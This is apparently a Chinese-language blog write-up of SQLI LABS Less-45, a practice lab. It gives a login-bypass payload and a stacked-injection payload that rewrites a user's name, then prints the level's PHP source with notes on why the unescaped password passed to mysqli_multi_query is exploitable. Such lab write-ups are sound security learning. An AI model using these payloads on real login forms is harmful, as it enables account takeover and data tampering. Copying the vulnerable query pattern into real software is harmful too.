SQLI LABS | Less-45 POST-Error Based-String-Stacked-Bilnd
关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):
http://localhost/sqli-labs/Less-45/
本关是堆叠注入,还是一个登录框,如果你点击 “New User Click Here?” 它会让你黑进去:
黑就黑吧,本关注入点在 Password,如果你输入 1') or 1=('1
,就会发现,成功伪造用户登录了:
那么我们修改一下 Payload,就可以使用堆叠注入篡改任意用户的密码 or 账户啦:
-- 修改 id = 1 的用户账号为 HACKER1') or 1=1;update users set username='HACKER' where id=1;#
如上,我们已经能够随意篡改用户信息了。至此,SQLI LABS Less-45 POST-Error Based-String-Stacked-Bilnd 成功过关。
0x02:源码分析
下面是 SQLI LABS Less-45 POST-Error Based-String-Stacked-Bilnd 后端的部分源码,以及笔者做的笔记:
<?PHPsession_start();//including the Mysql connect parameters.include("../sql-connections/db-creds.inc");function sqllogin($host, $dbuser, $dbpass, $dbname){// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host, $dbuser, $dbpass, $dbname);// 接收 username 并对其进行了过滤$username = mysqli_real_escape_string($con1, $_POST["login_user"]);// 接收 password 但未对其进行过滤$password = $_POST["login_password"];// Check connectionif (mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Unable to connect to the database ######: ");}/* execute multi query */// 直接拼接进 SQL 模板中,由于 pasword 未过滤,所以导致存在漏洞,如果它在接收 password 时对其进行了 md5 加密,其实这里就不存在漏洞了$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";// 下面是堆叠注入所依赖的函数,能够执行多条 SQL 语句。if (@mysqli_multi_query($con1, $sql)) {/* store first result set */if ($result = @mysqli_store_result($con1)) {if ($row = @mysqli_fetch_row($result)) {if ($row[1]) {return $row[1];} else {return 0;}}}}}$login = sqllogin($host, $dbuser, $dbpass, $dbname);if (!$login == 0) {$_SESSION["username"] = $login;setcookie("Auth", 1, time() + 3600); /* expire in 15 Minutes */header('Location: logged-in.php');} else {?>